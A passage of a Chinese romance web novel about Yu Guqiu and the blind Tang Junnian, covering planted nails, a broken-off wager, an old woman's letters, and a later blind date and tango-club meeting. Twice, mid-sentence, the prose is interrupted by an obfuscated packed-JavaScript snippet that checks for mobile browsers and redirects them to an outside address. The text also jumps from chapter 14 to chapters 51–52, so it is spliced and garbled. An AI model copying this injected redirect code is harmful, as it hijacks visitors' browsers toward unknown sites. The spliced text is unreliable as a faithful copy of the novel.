还有几根钢钉分散着布置在路径上,一直延伸到汤骏年家门口。 为了这些长钢钉能尖端朝上,底部还用透明胶带固定着。 “是有人特意弄的。” 虞谷秋深深地皱起眉,一半是痛的,另一半出自胆寒。 会是谁做的?她不认识这个小区的其他人,也不清楚汤骏年现在的人际,脑海里便首先浮现出之前上门劝说汤骏年搬家的女人。 如果今天不是她凑巧决定送他们回来,不是她走在最前面……那么受伤的就会是飞飞,又或者是汤骏年,那些钢钉是冲着他们来的。 那个女人用了另一种方式逼汤骏年“搬家”。 黑暗中,汤骏年蹲下身来,看不清表情,但虞谷秋能隐约感觉到他此时不太一样,周身萦绕着一股令人心惊的气息,这令她突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551502|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然间觉得很陌生,甚至连疼痛都瞬间忘却了。 不过,那种气息转瞬即逝,他开口询问时语调很轻柔,仿佛怕加重的音节都会加剧她的疼痛。 “伤口严重吗?” 虞谷秋回过神,故作轻松道:“没问题的,你先别动,我把地上的钢钉清理掉。” 她拔掉鞋底的钢钉,忍耐住脚底传来的痛感,支撑着踩在鞋子上站起来,却被汤骏年一把拽住手腕。 “我来,你先坐着休息。” 他把外套脱下来盘成一团堆在地上让她坐。 “可是你又……” 她顿了顿,把看不见吞回喉咙。 他不置可否:“你指导我就好了。” 见汤骏年非常坚持,虞谷秋只好依言坐下,开口引导他找到钢钉的位置,一边心惊胆战地怕他找不准刺穿手掌可怎么办,心情就和之前看他切芦笋一样,但他本人却一点不在乎……她逐渐领会到这份倔强,这让她有点无可奈何。 直到看着他有惊无险地把所有钢钉收走,虞谷秋才松下心神。 汤骏年打开家门安顿好飞飞,紧接着从里头拿了一根盲杖出来。 他再次回到她面前。 “我送你去医院。”他转了个身,点了点自己的背,“上来吧。” 她对此表示出惊讶和迟疑:“你……怎么送我?” “我能够做到背你下楼,之后我们再找车过去就好了。” “那样很麻烦你啊……没关系的,这点伤我贴个创口贴就好了,只是破了表皮。” “有破伤风的风险。” “那我也可以自己去医院。” 为了证明这句话,她立刻站起来单脚跳了跳。 汤骏年无奈道:“等你跳到楼下,要看的可能就不止一只脚了。” 虞谷秋无语凝噎,确实,她要单脚跳下五楼很吃力,但是……要让看不见的汤骏年背着自己下楼应该更吃力吧? 仿佛感觉出她的顾虑,汤骏年保证说:“不用怕,我不会把你摔下去的。这楼梯我走过千遍,这点自信还是有的。” “我不担心这个,我只是觉得那样你会很累。” 他不以为意:“你的伤就是我害的,我有这个责任。” “不对。害我的人不是你。”虞谷秋语气顿时严肃,纠正他的说法,“你根本也是受害者。” 他的眉宇轻颤了一下,用盲杖点了点地。 “无论如何,我得送你去医院,如果你不让我管,我会一直吃不好睡不好。” 虞谷秋耳朵抖了抖,怎么觉得听上去很耳熟。 这不是她想请他来吃饭时抛出的措辞吗? “……你不许学我说话。” 她嘟囔着,双手试探地攀上了汤骏年的后背。 刚刚刺伤她的黑暗此时却成了最好的保护,她不必直视自己正在发抖的双腿和双手,不必害怕被灯光照到正在发红的脸颊,很轻很轻地将脑袋靠上汤骏年的肩头。他的衣领正散发着洗衣粉的香气。 他察觉到她的颤抖,再次强调说:“你放心,我会走得很小心,我们绝不会一起滚下去的。” 她也再次低声说:“我不担心这个,我只是……” 然后就听不清了。 汤骏年短暂的疑惑间,感受到后背的人伸过来的双手,极为珍视地环抱住了他。 14.第 14 章 汤骏年带她去的是他家附近的小医院,深夜的急诊室人不多,虞谷秋处理完伤口,又打了破伤风的针,以防万一还开了抗生素和消炎药。 过程中虞谷秋顺带外卖叫了一双拖鞋,终于可以顺利地下地行走。不然她怕汤骏年会大费周章地再把她背回家——那么他回家这件事就费劲了。 因此从医院出来后,虞谷秋就坚持自己可以叫个车回家了,毕竟她家是一楼,不需要爬楼梯,就不用再麻烦他,汤骏年这回没有反对,点点头说陪着她等车到,非常干脆。 车子的距离有五分钟,虞谷秋想起今晚的始作俑者,心头涌出不安。 “那个钢钉……我怀疑是上次那个想让你搬走的人干的。她是住在你楼下吗?你最好报警,不然还会有危险。” 汤骏年嗯了一声:“这件事我会看着办的。” “我可以作为证人……” “不用。” 虞谷秋一怔,便不再吭声了。 应该不是她的错觉……汤骏年的态度突然急转直下。 从他背上她,再到医院,一路上都没有过多交流,但她却拿不准是为什么。 虞谷秋暗自揣测着,总觉得当下的气氛很难受,也不随意搭话,低头刷着手机,看着车子的图标在屏幕上一点一点移动,在沉默中总算开到了两人面前。 “车子到了。” 她告诉汤骏年,他点点头:“路上注意安全,到家说一声。” “好。”虞谷秋拉开车门,对着他挥手,“拜拜。” 车子开出去一段距离,虞谷秋回头看车后的玻璃,汤骏年还站在那里目送。 虽然,他看的方向错了。 * 虞谷秋到家后先和院长请了假,紧接着和汤骏年报了平安,他说了声好之后就没有再发消息。 她不知道该不该主动提醒他,今晚关于他的考题还没有发。想了想,最后她还是决定耐心等待,毕竟上一次他没有忘,只是晚了一些时间才发。 她疲倦地躺上床,脚底的刺痛还在发酵,疼痛和困意拉扯着,慢慢眯上眼睛。 第二天,虞谷秋猛然惊醒,床头的小夜灯还亮着,窗外也蒙蒙亮了。 她立刻去看手机,除了院长的同意之外没有任何新消息。 看来他真的忘了……虞谷秋犹豫半晌,主动发消息给汤骏年。 “早上好。” “你昨晚忘记考题啦!那这样算不算我得分?” 她抓着手机,一边等待,一边起来刷牙洗脸,从冷冻柜里拿出包子蒸上,热牛奶,慢吞吞吃完,日复一日的流程在今天变得格外漫长。 脚底的疼痛不支持她再做多余的事,干脆陷在沙发里看电影。 看完一部时,消息提示框一弹,虞谷秋立刻切出电影点开微信。 一张瑞幸的六折优惠券提示。 虞谷秋对着空气翻了个白眼,第一次恨自己从来不关这些订阅号的提示,以前觉得这样热闹些,现在却显得失落格外沉甸甸。 她一个账号一个账号地关闭提示,消磨着时间时,那个灰色的默认头像突然跳到了最顶端。 虞谷秋眼神一晃,迫不及待地点开了汤骏年发来的两条语音。 “我没有忘。这个赌到此为止,就算你赢。” “我今天是晚班,白天在家,你把林淑秀的东西白天闪送过来就可以。” 虞谷秋呆愣地又播放了一遍语音,这才消化了这个突变的局面。 至此,她确定昨晚并不是错觉了。 她焦躁地斟酌措辞,问道:“为什么突然结束赌约呢?明明还有四天。” 隔了十来分钟,他语气淡淡地回复:“在哪里结束不重要吧,你的出发点不就是为了让我收下东西吗?” 虞谷秋哑然。 不甘心驱动着她继续追问:“是这样,我只是觉得你突然同意很奇怪。我在担心是不是哪里惹你不开心了?” “当然不是。”他这次回得很快,“我只是想通了,东西收下就收下吧。” “……所以,和我没有关系吗?” “嗯。” 虞谷秋直觉他在骗人,试探道:“那我们的赌也还可以继续啊,就当作游戏。” 他果然拒绝得很干脆:“我上次就说过了,我的生活不是用来游戏的。” 虞谷秋听着他冷酷的语气,想再张口,勇气却不够了。 她顿了顿:“好,我现在把东西闪送过来。” 东西被闪送员上门收走的刹那,虞谷秋还没有反应过来。 明明昨天他们还在这间屋子里一起吃过饭,怎么转眼之间就要变成陌生人了? 她清楚东西送出去后,自己就再没有正当的由头打扰他。 当然,这一天迟早会来临,而且也只不过剩四天,但也好过不明不白地被中途腰斩。且她有心想请他听的那个展览……看样子他也不会愿意去了。 混乱的心情到了晚上却迅速平静下来。 毕竟这不是汤骏年第一次戛然而止地拒绝自己了。无论是当时的虞谷秋还是现在的“吴冬”,本质上都是她,所以无法得到他的青睐,不值得奇怪。 她倒也不是很伤心。 这一次本来就是心血来潮,要说多喜欢汤骏年也不准确,都那么多年没见了……更多的只是想弥补一下年少时的遗憾。 如果她当时努力一点接近他,是不是会不一样? 现在她知道了,没什么不一样。 是虞谷秋没有被选择的可能,而这是她迄今的人生里早已学会的课题,所以她怎么还会伤心呢? 虞谷秋一摇一晃地走到阳台,再度聆听着各式各样的声音:琴声、风声、脚步声、车流声、电视声,这个世界真热闹,只有她所在的房间,拥抱着所有的声音,也吞噬着所有的声音,这个世界真安静。 * 隔天虞谷秋就回到了养老院上班,脚底的伤并没有好,走路时仍有隐痛,但这种疼痛完全可以忍受,她不想珍贵的年假就这么浪费了,况且多休息两天还要找人调班,想了想还是别麻烦别人了。 本以为林淑秀看到她的样子多少会关心两句,没想到她嘴巴是一点不饶人,评价道:“你这小瘸腿照我这残废还差远呢,再接再厉!” 虞谷秋擦汗:“这个方向我还是不努力了吧……” 虽然林淑秀嘴上刻薄,午休时间却还是叫她到房间,塞了一瓶药膏过来。 “拿着吧,这个还挺好用,便宜你了。” 虞谷秋刚想酝酿出两句感谢,却被林淑秀的下一句话截胡。 “不过十年前买的了,好像有点过期,没事,擦不死人。” “十、十年前?” “对啊,十年前我的腿还用得上嘛。” 林淑秀回答得相当理直气壮。 虞谷秋嘴角一抽,沉默地把药膏塞进口袋,盘算着一会儿走到外面垃圾桶扔了会不会发现,还是走远一点再扔吧。 不过走之前,林淑秀又让她坐下来念信给她听。 “你念信的声音可催眠,你不在我这两天午睡睡不好呢。” 林淑秀平淡地说着,虞谷秋却想了很多。 “是哪里痛得睡不着吗?有没有和张医生说?” 她不耐烦地摆手:“没有痛啊。” “如果情况不好还是要转去医院。” “别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553051|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啰啰嗦嗦的,我想睡觉了。”她躺回床上努了努嘴,“箱子我拿出来了,在那放着。” 虞谷秋欲言又止地伸手去拿信。 这次的心情就相当微妙了,这些箱子里都是同一个人的信吗?如果是这样,那她要看的是汤骏年的妈妈写下的东西……这些恐怕连汤骏年本人都没看到过。 她从上层抽了一封,信封的触感比起上次崭新些许,年份应该比较靠后了。 「姐姐: 听阿兰说你回京崎了。 我尝试着打过你的电话,你的号码已经不通了。我的号码也是换了好几轮。十多年前还用的小灵通呢,能发发短信就很不错了。结果现在的手机更叫人匪夷所思,都能打视频了。这样显得还在这里给你写信的我很傻,何况还是你收不到的信。 不过我们面对面的话,反而讲不出什么话来吧。 小年再有一年就要高考了,我其实一直很不安,所以又想到你了。如果姐姐成为了妈妈,会怎么跟青春期的孩子相处?而且还是没有父亲的男孩子。 我非常害怕这一天的到来,一向乖巧的孩子叛逆起来不是很可怕吗?就像一直很淘气的孩子突然乖下来大家都会称赞他,而乖孩子就相反,能叛逆的上限太低了。稍微摆摆脸色就会被说,我不希望他压抑自己,害怕的正是这一点。 我努力回想我们十来岁的时候,但想不起来当时的自己是怎么样了,我只记得姐姐你的样子。你把头发剪得好短,你说你迷上了阿根廷探戈,拉着我在月光闪闪的广场上跳舞,穿很短很短的背心。我问你这不是该一男一女跳吗?而你不屑地告诉我,这世界上哪有那么多该不该。 我参透太晚,这世界上确实没有那么多该不该。不是所有人都应该结婚生子,也不是所有青春期的孩子都注定会有让人头疼的叛逆期,至少小年就是这样的孩子。 你想不到吧,我现在新换的智能手机就是小年在比赛里用奖金给我买的,他很有出息呢!至少我在他的这个年纪赚不了这么多钱(虽然物价不一样啦),我相信他一定会有很光明的未来。 这个未来不一定要赚很多钱,买大房子,和什么人结婚。他自由地做自己想做的事就好了。 话是这样讲,我心中还是有期盼的,还打算在小年十八岁的时候送他一辆房车作为他的成年礼物。我期盼他能活成姐姐的样子,这个世界很大,我没看过很多,我希望他能替我去看一看。不过要是他非要带上我……那我也勉为其难同意吧。 如果到时候姐姐也愿意的话,我们三个可以一起去哪里转转,那个房车够大,你就放一万个心。只是到时候开车的话,可能得麻烦姐姐了,毕竟你都自驾过那么多地方,而我还不会开车呢,小年目前也还不会。 说起来有件好玩的事,这封信我是陆陆续续写的,写到中间的时候被小年看到了,他问我在给谁写,我开玩笑说我在写情书,他的眼睛瞪得滚圆。我反问他你应该对情书不陌生呀,还有女孩子送到我们家门口来。但是你自己写过情书没有? 小年的脸上终于露出一点青春期孩子的痕迹了。 我看着他的表情,猜到他应该是有了中意的人,心里在欢呼。那可是初恋呀……虽然婚姻是恶果,但我仍然觉得恋爱很好,尤其是初恋,一个人对另一个人产生最初的想象,也因仅仅是想象。 我问小年,对方是个怎么样的人?他却问了我一个一头雾水的问题——妈妈,你有没有偏爱的季节? 我想起和姐姐在山里抓蝉的日子,没有犹豫地说,当然是夏天。 小年也没有犹豫地告诉我,他喜欢稻谷丰收的秋天。 我问他为什么,他不好意思地说,因为那是她的名字。」 50-60 第51章 汤骏年的这句问话有着不同以往的压迫, 像是笃定要来一个答案才罢休。虞谷秋愣住,视线飘远,不想和他对上。 正不知该如何糊弄他时, 车子如天降救星,稳稳地停在两人面前。 虞谷秋下意识地替他拉开车门, 就像以前惯性照顾他那样。 汤骏年微怔, 看她一眼,说了声谢谢。 虞谷秋懊恼地收回手,在副座和后排中犹豫不决, 直到汤骏年看着她问:“怎么了?” 他表情很无辜,她摇摇头,啪一下把车门关上溜进副座。 她给师傅打字示意他先去就近的地铁站, 师傅看着手机,又看看她, 以为她是聋哑人,目光带上怜悯。 车里多了一个人,再谈起刚才爱来爱去的话题就不合适,两个人都沉默下来,车内只剩司机开着电台广播的声音在流淌。 所幸地铁站不远,这份不自在的沉默没有持续多久。司机将车停下,汤骏年说着谢谢下车, 临开车门前他冷不丁问虞谷秋:“你现在在哪里工作?” 问老同学在哪里工作,这是很正常的事。 虞谷秋克制住加快的呼吸, 在备忘录上打字的手指犹犹豫豫, 还是撒了谎:「待业中」 汤骏年的眼睛掠过那三个字,看向她:“好,再见。” 他下了车。 虞谷秋透过后视镜看着他走, 身影从黑暗中隐入地铁站的白灯下,车子此时往前疾驰,他飞一般地消失了。 过了半小时,虞谷秋刚下车,手机收到了汤骏年的微信消息。 “到家了吗?” 他们的微信界面还停留在国庆那一天,他的回复迟来了这么久,这中间的空白却塞满了两人在一起的回忆,如今又重归空白…… 虞谷秋扫走感叹,回他:「刚到家」 汤骏年发来一个“好”的表情包,这很难得。他们这么多次聊天,她极少见到他发表情包,他的微信表情里表情包也寥寥无几,真的用不太上。 她在这些细枝末节里清醒地感受着他的眼睛在变好,他在改变。 走神中,汤骏年又一条语音飞至:“你接下来什么时候有空?” 虞谷秋一时拿捏不准他问这句话的意图是什么。 「不好说,怎么了?」 “有空一起看一场电影吧。”他说,“当年放了你鸽子,对不起,现在补回来。” 这是一个很令人心动的提议,有始有终,他们在某个层面上想的竟如此相似。 可是……她早已经在他不知情的时候披着马甲和他看过了,她心里已没有遗憾,虽然看的并不是当年约定的那一部电影。 他的遗憾她只能狠狠心咬牙留给他自己解决。 「不用了。毕竟圣诞快乐那部电影也没有再上映了。」 她不为所动地按下发送。 手机消停下来,毕竟死缠烂打绝不是汤骏年的作风。 她放下手机,洗澡,倒可乐,点开一部剧,想犒劳下惊慌失措了一整晚的自己。 刚拉开易拉罐,安静的手机又亮起。 她以为汤骏年不会再回,可他还是回了,还回了一条稍长的语音,轻描淡写道:“那就看现在正在上映的。有爱情,悬疑,战争,动作,还有动画片……你偏爱看哪种类型?” 呲啦,可乐气泡喷了虞谷秋满手。 这话听起来太耳熟了,不是错觉吧?完全是她化名吴冬时拉着他去看电影时问他的话。 他如法炮制,原封不动地搬来问她。 是他从她身上偷师再用回她身上,还是在……试探她? 虞谷秋慌张地盘算今晚每一个细节,不认为自己有哪一个环节留下把柄,她甚至连林淑秀送给自己的戒指都注意到并且摘下来,不可能有纰漏。 确认过后,虞谷秋心稍稍安定,想肯定是自己影响他太深,他可能甚至自己都没意识到他说了同样的话。 她委婉拒绝道:「最近想要好好养病……」 发出去后,她盯着手机,手机终于彻底安静了。 * 婚礼第二天虞谷秋一刷朋友圈,大家都纷纷发了婚礼的照片。有些没去的共友重点却不在新郎新娘,而在于自拍里隐约被带到的汤骏年。 「这是班长吗?」 回复:「是的」 「我去,大变活人啊,不是说眼睛有问题?」 回复:「已经治好了」 另外一个人问: 「他在婚礼上真的透露自己当年暗恋那谁??」 回复:「假的,他没有那么说」 虞谷秋身为“那谁”在这条状态下按了个赞。 过了一会儿,再刷新时,关于暗恋的评论已经被删掉了。他们大概是忘记还加了她这位从不聊天也不发圈的好友,这会儿转移到私聊去蛐蛐了。 真是挺好笑,一群奔三的人居然还能为十年前的八卦大聊特聊,虞谷秋想起养老院里也经常互相传哪个老太和老头暧昧……或许人类不论过了多少岁都是八卦心旺盛的青少年。 虞谷秋躺在床上翻了个身,手指还在往下划,养母胡采春的电话打进来。 她坐起来端正地接听:“喂,妈。” “在忙吗?” “不忙,今天是晚班。” “我来问问你是除夕回来还是前一天回?” “我……前一天回来吧,帮您忙,家里大扫除什么的应该很需要人。” “不用不用,那天你就去见见郑宵。” 虞谷秋没想起来:“谁?” “哎,就是妈妈朋友的儿子呀。说了介绍你们认识的。” “啊,是,想起来了。” “那就这样,我一会儿把他推给你,你们见面前先聊聊。” “妈。”虞谷秋赶在胡采春挂断前冲动地叫住她,“你真的希望我去见这个郑宵吗?” “……什么意思?” “他妈妈是你的朋友。”虞谷秋自嘲道,“你应该没对她说过我的病吧?如果被她知道你隐瞒这一点还介绍给她儿子,我怕影响你们的关系。” 胡采春大不了道:“你那个都是小时候的毛病了,也就皮肤上落一些疤,有什么大碍?” 虞谷秋沉默,在她的沉默中,胡采春意识到什么。 她的语气也变得严肃:“怎么了吗?” 虞谷秋言简意赅地将之前体检的事告诉她。 “妈,这不只是我小时候的病。”虞谷秋平静道,“这是我一生的病。” 胡采春沉默很久,逸出一声很轻的叹息。 “真是作孽……”她无奈道,“那你也去见见人家,单纯吃顿饭就行了。不然爽约错的也是我们!” “好,我知道了。” 电话挂断,一个微信名片推送到她这里。 虞谷秋申请添加,对方很快通过,两人寒暄几句,她从郑宵冷淡的回复中感觉到他也只是交差,于是开门见山,把吃饭改为约咖啡,对方欣然应允。 除夕前夜的京崎比起以往很空旷,虞谷秋推开咖啡店的门,放眼望去一片空位,只有角落靠窗的位置坐着一位男士。 对方的羽绒服搭在椅子上,穿着灰色卫衣,头发蓬乱,嘴巴咬着美式,眼睛看着手机,看上去有几分眼熟。 虞谷秋惊愕又迟疑地走过去,敲了敲桌面。 “你是郑宵吗?” 他抬起头,看清虞谷秋的脸也是一愣。 “你是……” 虞谷秋从未想过她被牵线介绍的这位郑宵,居然就是在探戈俱乐部里曾经有过两面之缘的人。对方肯定也没想到。 她哭笑不得地坐下来:“居然会是你。” 他从百无聊赖中振作精神:“真的好巧,是不是说明我们有点缘分?” 虞谷秋也不得不承认:“有一点吧……” “你怎么会来相亲,你没有告诉你妈你有男朋友的事吗?” “……男朋友?” “那天跨年夜你带来的人啊。”他恍然大悟,“哦,我知道了,因为他眼睛的关系才没说的吧?” “不是的……他不是我男朋友。” “你确定不是?你不是喜欢他吗?” “不是!”虞谷秋掏出手机准备扫码点咖啡,被郑宵挡住手机。 “如果真是这样,就不喝咖啡了。” “啊?” “早知道是你,就约俱乐部喝酒了!”他神采奕奕,“顺便再一起跳一支舞吧。这次难道你又要拒绝我吗?” 虞谷秋哭笑不得:“你就非要跟我跳一支舞吗?” “在今天你出现在我面前之前时没觉得。但你偏偏出现了。”郑宵一口饮尽咖啡,“不要多想。我只是觉得比起我们在这边无聊地装模作样,不如跳舞啊,你说呢?” 虞谷秋发了会儿呆,收起手机。 “行,那就跳舞吧。” * 计划就这么偏离了轨道,虞谷秋头脑一热,真的跟着郑宵前往探戈俱乐部,这个她以为林淑秀病逝后她就不会再回来的地方。 郑宵开车载两人过去,路上她问郑宵:“你为什么这么喜欢跳探戈?” 郑宵的手指点着方向盘琢磨:“因为生活很无聊啊,平常坐办公室很需要运动。有人选择打拳击,有人选择去健身房,而我只是刚好选择探戈。” 虞谷秋失望道:“我还以为有什么故事听呢。” “让你失望了菜鸟小姐。”郑宵反问,“看来你有很多故事,那你呢?” “我不喜欢跳探戈,而且我到现在都没真正跳过一次探戈。”虞谷秋摸着手上的戒指,“我只是喜欢带我来这里的人。” “……所以你们没能谈是他不喜欢你吗?” “我说的是那个坐轮椅的女士。” “你是蕾丝啊?” “……” 郑宵哈哈一笑:“我开玩笑的,不幽默吗?” 现在跳车可行吗? 她无语地看着车窗外,精神却逐渐放松。 两人来到俱乐部,不同于跨年那晚的拥挤,俱乐部很冷清,寥寥几个人在舞池里跳舞,只有室内的音乐依然如往常热烈,反倒更衬出一些萧索,有点扼杀人想要跳舞的欲望。 虞谷秋这么想着,却听见郑宵兴高采烈道:“第一次人这么少,太好了,这样你就不用担心了菜鸟。” “……担心什么?” “不用担心被笑话啊!” 郑宵去柜台要来两瓶啤酒,递给虞谷秋一瓶。 “请你。喝一会儿再进去跳吧,热热身子。” “谢谢。” 互相碰完瓶,虞谷秋看着舞池,目光不经意划到最角落,眼前不知不觉就出现幻影——在舞池外角落拥抱的两个人,汤骏年和虞谷秋,他们额头相抵,脚步错落。 当时的他们看上去好幸福。 而此时,音乐切到下一首,郑宵向她伸来双手。 “怎么样,喝得差不多了吧,要不要来一段?” 虞谷秋回过神,幻影却只消失了一个,汤骏年仍然在。 她一口酒含在喉咙里忘记咽,看着汤骏年裹着一身寒意踏进门。他拄的盲杖在地上轻点,音响中的鼓点隆隆跟着响。 这不是幻觉。 郑宵顺着她的视线过去:“诶,那不是那谁吗?你叫来的啊?” 不等虞谷秋回答,郑宵已经理所当然地这么认为。他没仔细看汤骏年的眼睛,只凭盲杖认定他依然看不见,招手大声说:“这边这边!” 完蛋。 郑宵的这一挥手,让虞谷秋和汤骏年都措手不及。 汤骏年本来脸上迷惑,但看到旁边的虞谷秋,一怔,转道朝两人走过来。 郑宵这时才察觉说:“他是不是能看见我们啊?” 电光石火,虞谷秋一把抓住郑宵的手。 郑宵还没反应过来,踉跄两步,被虞谷秋拖向舞池。 “——不是,现在跳?!” 郑宵嚷着,虞谷秋此时根本不管自己在跳什么,将自己背对汤骏年,一边记得脱下手上的戒指,一边揽上郑宵的肩头,借着跳舞的姿势凑近郑宵,边以极快的语速跟他交涉。 “能不能假装我们正在交往?” “哈?” “还有,要假装你这是第一次见他。如果他说你声音耳熟,你就打马虎眼。” 郑宵晕头转向:“什么跟什么?” “还有最后一件事,我现在在喉炎,之后不能讲话,你要记住这个设定。” 郑宵崩溃:“你和他在玩什么play?” “不是闹着玩的!”虞谷秋表情严肃。 “好吧……”郑宵痛道,“我同意的话你可以踩我轻点吗?” 虞谷秋尴尬低头,她正不偏不倚踩着他的鞋头。 她往后跳开一步:“我就是来跟你说这些。” “那还跳吗?”郑宵意有所指汤骏年的方向,“他现在的眼神冷得我鸡皮疙瘩都起来了。” “你记住我刚才交代的三个原则!”虞谷秋再三耳提面命。 一场非常滑稽的跳舞到此为止,两人从舞池离开,回到汤骏年的所在之处。 虞谷秋已经摸出手机来打字:「好巧,你怎么会来这里?」 汤骏年的视线从手机移到她的眼睛。 “我来找人。”他说,“她没有和我当面告别,也联系不上。我只能一个个去我们一起去过的地方碰碰运气。” 虞谷秋不确定自己的面颊是不是轻微地抽了一下,不失礼貌地微笑点头。 汤骏年又看向郑宵:“你认识我吗?” 郑宵谨记教诲:“我第一次见你。” 虞谷秋超高手速地打配合:「但是我有和他提起过你,说你居然来婚礼了」 汤骏年点点头:“所以你们是……?” 郑宵瞥虞谷秋一眼,回答道:“我是她男朋友。” 汤骏年沉默了一会儿,看向虞谷秋,笑道:“上回你说的爱上的人,就是这位吗?” 虞谷秋对上他的眼睛。 明明已经是做过手术恢复神采的眼睛,该和当年一样灵动飞扬,但她望着他的眼睛,好黯淡。 他在这一刻确实回到他们重逢时刚见到的样子,灵魂在问她的这一刻离巢,以免增加听到答案的痛楚。 虞谷秋勉强抑制了抚摸他脸的冲动,却没能抑制住另一种冲动。 她应该打下“是”,以此斩断汤骏年的念头,让误会狗血地一深再深。 可是她的身体不由得偏向她的心: 「不是」 关于她爱上的人,当真的望着爱人的眼睛时,到底谁能无动于衷地撒谎? 第52章 一时的鬼迷心窍, 让自己给出了并不理智的答案。 虞谷秋感到片刻的慌张,但很快,她试图说服自己, 没关系,也能成立, 世界上多的是不爱却能交往的事。 虞谷秋越想越觉得通顺。这个时代很多人都是这样, 大家随便谈恋爱,按部就班地结婚,随着大流过完一生。所以她认为在没有欺骗他这个答案的情况下能够自圆其说, 然而—— 汤骏年的反应有点迟钝,分明是调大的两个大字,他却看了很久。 然后他的眼睛微微弯起来。 汤骏年笃定地看向郑宵:“如果是这样, 那他必定不是你的男朋友。” 郑宵愕然,求助地看向虞谷秋。 虞谷秋却比他更方寸大乱, 眼珠子打颤着垂下眼睛盯着地板,又掏出手机打字,忙得不知道在干什么。 「你意思是我们在撒谎吗?」 “你们没在撒谎吗?” 虞谷秋心一惊,负隅顽抗地敲字:「我们干嘛要撒谎?」 “这是我该问的问题。” 虞谷秋哑然。 她撑着最后的意志力反驳:「我们没理由撒谎,你凭什么觉得我们在撒谎?」 “因为你不是会这样随波逐流的人。”他回答。 「别说得你好像很了解我,我们不是很熟吧?」 汤骏年不讲话了。 气氛微妙地僵住,一旁围观的郑宵居然是打破这个场面的人。 “你俩别吵啊!”他一把将手臂搭到虞谷秋肩膀上, 嬉皮笑脸道,“他都看出来了, 我们就别假装了。” 合谋的队友没绷住, 虞谷秋一败涂地,恶狠狠地朝郑宵飞去一个眼刀。 郑宵着补道:“但以后说不定会是呢?” 汤骏年的眼神忽的朝他扫过去:“你喜欢她吗?” “这……”郑宵讪讪,“我们才接触不久。” “那就不要开这样的玩笑。” “你太严肃了吧……好好好。”郑宵碎碎念着, 举起双手投降,“我去个卫生间,你们慢聊。” 郑宵走之前还把啤酒带上了,根本不是去厕所的架势。他作为聪明人当然看出这两人之间有太多弯绕,他的仗义让他只演到三分就够,剩下的七分就是得尽快抽身,为这两人空出时机。 虞谷秋也想走,她没自信在这里和汤骏年一对一,思考着如果自己也说去卫生间会不会很奇怪。 还没酝酿好说辞,汤骏年抢占开口先机:“要不要去舞池?” 「什么?」 “我上次来没能进舞池。”他低头看她,“这次你能搭把手吗?” 「你应该刚刚看到我怎么踩郑宵的了」 “你可以跟他跳,不可以和我跳吗?” 虞谷秋顿住,然后实话实说:「因为我在和他相亲」 这下顿住的人成了汤骏年。 “那感觉怎么样?”他问。 「没看出来班长很八卦」 “因为你对我来说不一样。” 「那不都是高中的事了吗……」 “只是高中吗?” 热情的探戈舞曲在这时结束了。 没有了音乐的烘托,舞室在这时安静得吓人,踢踢踏踏的脚步声都不存在了。虞谷秋的心脏沉重地往下坠,她清晰地听到了落地的声音。 虞谷秋隐约有种感觉,他还在试探她。之前那些他不停试探自己的草蛇灰线,一瞬间扑面向她涌来。 又或许他根本已确认,只是他没有戳破,逼她开口露馅,倒是包容着她的装傻充愣。 他仍旧是那个汤骏年,即便对自己被断交满腹疑惑,仍旧会尊重她选择而不索要来龙去脉的那个人。他就是这样一个人。 就因为他是这样一个人,虞谷秋咬紧牙关,她更不能开口承认,就让这一切成为一笔糊涂账吧。 她低下头打完字,匆匆亮手机给汤骏年看,表示自己有事要走,拎上包飞快地离开了。 * 虞谷秋跑到外面后才想起来给郑宵发消息,对自己离开表示抱歉,郑宵倒是无所谓,只说两个人没拍张照,不好交差了。 虞谷秋倒没有这方面的困扰,胡采春并不真的关心这次相亲进展得好不好,她只要人去了礼数周全就可以交差。 在外面不知目的地游荡到夜晚,胡采春发来微信问:「吃完饭了吗?怎么样?」 「挺好的」 「那就好,明天几点到家?」 「我中午就回来帮忙吧」 「没关系,但中午能回来帮忙最好,你弟妹今年除夕也来家里吃饭呢!」 胡采春发了一个兴高采烈的表情包。 这种一眼年轻人最爱用的表情包,一看就是弟弟发给她,她再保存下来的。 虞谷秋偶尔能从表情包的这种细枝末节里推测到他们联系的频率,其实她不在乎,但只要看到新鲜的表情包,她就会想,他们又在聊天了,他们本来就应该聊天的,而不是像她这样工作汇报。 然后她又想,自己在计较些什么,一笑置之。 隔天虞谷秋拿上早就买好的大包小包,除了给养父养母的保健品,还有给弟弟夫妻俩准备的一对黄金首饰,新婚夫妻,这是她能送出最周到的礼物,最近金价大涨,买这对首饰真的太肉痛了,但没有办法。某种意义上而言这是她的作战装备,她必须确保装备妥当,不让敌人有可以攻陷的缺口。 还有一些是给自己的。她准备了睡袋,因为不喜欢那个有霉味的被子。 车子开到养父母家,现在一年来不了一次,从前熟悉的景没怎么变,更老了些,看上去却会有些陌生。但虞谷秋往楼下走时,那种感觉却没变,她还是十二岁的时候用攒的零花钱买包子和豆浆上楼,若无其事把整夜的眼泪吞下去的那个小孩。 两手挂满东西,连腾出手都勉强,虞谷秋侧身横起手肘敲门,声音很钝,敲了好几下才有人来开。胡采春围着围裙探出脑袋:“来就来,提那么多东西!” “新年礼物呀。” 